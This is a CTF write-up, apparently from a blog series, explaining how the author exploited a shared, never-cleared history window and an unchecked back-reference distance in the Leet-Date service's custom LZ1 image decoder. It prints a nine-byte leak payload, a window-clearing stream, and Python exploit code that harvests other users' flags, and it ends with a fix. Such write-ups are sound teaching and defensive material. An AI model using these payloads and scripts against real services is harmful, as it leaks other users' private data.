all notes

ENOWARS 10 Leet-Date, Part 1: Leaking the Shared LZ1 Window

A malformed back-reference turned the custom image codec's process-wide history into a cross-user data leak.

The challenge

This is Part 1 of a three-part series about the vulnerabilities I exploited in Leet-Date.

On July 18, my team played ENOWARS 10, a nine-hour attack-defense. Every team ran its own copy of the same services. Checkers continuously created data and planted fresh flags, while we tried to steal those flags from the other teams and patch our own services without breaking normal functionality.

One of the services was Leet-Date, a dating application written mostly in Go. Users could create profiles, upload photos, match with each other, chat, and buy a premium tier. Its three flag stores lived in different parts of that application. This post covers the strangest one: profile photos handled by a custom compression format called LZ1.

The checker created a user and stored a flag inside a codec-backed photo. The scoreboard gave us the user's public handle as the flag ID, but it did not tell us which photo contained the current flag. To attack another team, we needed a way to recover private decompressed bytes from one of that user's photos.

The web layer itself did not offer an obvious file read or authorisation bypass. The interesting behavior appeared one level below it, in the custom decoder shared by every request handled by the process.

How codec photos worked

The photo upload endpoint accepted ordinary images, but it also exposed a special codec format. In that mode, the server trusted the submitted bytes to already be an LZ1 stream and stored them without recompressing them:

if c.PostForm("format") == codecFormat {
    contentType = c.PostForm("content_type")
    // ...
    isCompressed = true
    stored = raw
}

When a client later requested the public photo URL, the server passed those stored bytes to Decompress and returned the result. An authenticated account could therefore upload a complete stream of LZ1 instructions, then make the application decode it by fetching the photo.

The format was small enough to understand directly. Every stream began with the four-byte magic value LZ1\0. After that came a sequence of opcodes:

  • 0x00 stored the following byte as a literal;
  • 0x01 copied bytes from an earlier position in the history window.

That second operation is the usual idea behind LZ-style compression. If the output already contains ABCABC, a back-reference can ask the decoder to copy three bytes from a distance of three instead of storing another literal ABC.

The security requirement is that a back-reference may only reach bytes already produced by the current stream. Leet-Date did not enforce that rule.

A window shared by every request

LZ1 kept a 65,536-byte history window. Instead of creating it inside Decompress, the package declared one global window and one mutex:

var (
    mu     sync.Mutex
    window [windowSize]byte
)

The mutex made sure that only one goroutine used the decoder at a time. Decompress then reset its logical write position to zero for every new stream:

func Decompress(blob []byte) ([]byte, error) {
    mu.Lock()
    defer mu.Unlock()

    // Parse the header and opcodes.
    pos := 0

What it did not reset was window. Bytes written while serving one user's photo stayed there until later decompressions overwrote them.

The back-reference opcode decoded a distance and length, then wrapped every read through the global buffer:

dist := int(binary.LittleEndian.Uint16(p[1:3])) + 1
length := int(binary.LittleEndian.Uint16(p[3:5]))

for i := 0; i < length; i++ {
    src := (pos - dist) & windowMask
    b := window[src]
    window[pos&windowMask] = b
    out = append(out, b)
    pos++
}

There was no check that dist <= pos. A fresh stream could issue a match instruction before writing a single literal byte. Because the index was masked with windowMask, a negative logical position wrapped around to a valid index in the process-wide window.

The mutex actually made the state easier to reason about. Requests could not corrupt the window simultaneously; each completed decompression left one coherent history for the next request.

Building a five-byte leak instruction

The match opcode stores distance - 1 and length as little-endian 16-bit integers. A distance field of 0xffff therefore represents a real distance of 65,536. A length of 0xffff asks for 65,535 output bytes.

The complete malicious stream was only nine bytes including its header:

def leak_blob():
    return b"LZ1\x00" + b"\x01\xff\xff\xff\xff"

At the start of decompression, pos is zero. The first source index becomes:

(0 - 65536) & 65535 == 0

The decoder therefore starts copying at byte zero of the old window and returns almost its entire contents. I uploaded this stream once as a photo belonging to my attacker account.

The first working request sequence was simple:

# Populate the global window with the victim photo.
session.get(f"{URL}{victim_photo['url']}")

# Decode the malicious photo and receive the previous window.
leak = session.get(
    f"{URL}/api/photos/{leak_photo_id}"
).content

for flag in FLAG_RE.findall(leak):
    print(flag.decode())

The local proof showed the same secret first appearing in the victim response and then in my malicious photo:

seed_get 200 b'FLAG{codec_window_...}::seed-bytes'
leak_get 200 b'FLAG{codec_window_...}::seed-bytes'
leaked_secret_found True

Using one keep-alive session helped reduce the time between the victim request and the leak request. The window belonged to the whole process, though, so another decompression handled in between could still replace some or all of the bytes.

Why the first farm exploit returned old flags

My first version worked locally but often printed a flag from an earlier round on the farm. The problem was partial overwrites.

Suppose an old photo filled most of the 64 KiB window, then the current victim photo decompressed to only a few hundred bytes. That current photo replaced the beginning of the window, but the remainder still contained data from older requests. Leaking all 65,535 bytes returned both generations at once.

Restricting the leak to a smaller region was unreliable because I did not know exactly where the checker placed the flag inside each photo. Instead, I added a controlled decompression before every victim request. This stream writes 65,536 literal zero bytes and clears every position in the shared window:

def clear_blob():
    return b"LZ1\x00" + b"\x00\x00" * 65536

def leak_blob():
    return b"LZ1\x00" + b"\x01\xff\xff\xff\xff"

The reliable sequence became:

clear my zero photo
fetch one victim photo
fetch my leak photo

After the clear request, anything left in the window came from the victim photo immediately following it. Short files left zeros behind rather than stale flags.

Turning the primitive into an attack-defense exploit

The flag ID identified the victim profile by handle, but a profile could contain multiple photos. The exploit first loaded that profile, then tried every photo attached to it.

Codec responses could be distinguished by their Cache-Control: no-store header. That let the script ignore ordinary image paths and only run the leak after a request that had passed through LZ1:

for photo in victim["photos"]:
    session.get(f"{URL}/api/photos/{clear_photo_id}")
    response = session.get(f"{URL}{photo['url']}")

    if response.headers.get("Cache-Control") != "no-store":
        continue

    leaked = session.get(
        f"{URL}/api/photos/{leak_photo_id}"
    ).content

    for flag in FLAG_RE.findall(leaked):
        if flag not in seen:
            seen.add(flag)
            print(flag.decode())

The clear and leak photos were reusable for every victim on the same team. The script only needed to register one account, upload both streams, walk the supplied handles, and deduplicate the flags it recovered.

Download the complete solver

Fixing the codec

The history window belongs to one compressed stream, so it should be allocated for each call:

func Decompress(blob []byte) ([]byte, error) {
    var window [windowSize]byte
    pos := 0
    // ...
}

That change removes the cross-request state, but the decoder should still validate every match. Before copying, it must reject a distance larger than the number of bytes already produced:

if dist > pos {
    return nil, errors.New("back-reference precedes stream start")
}

The mutex prevented simultaneous writes, which was useful for thread safety. It did nothing to stop one request from reading the completed state of another. Keeping the window inside Decompress fixes that isolation problem, while the distance check rejects the malformed stream that exposed it.

Continue with Part 2

Continue with Part 2: Forging Leet-Date Premium Receipts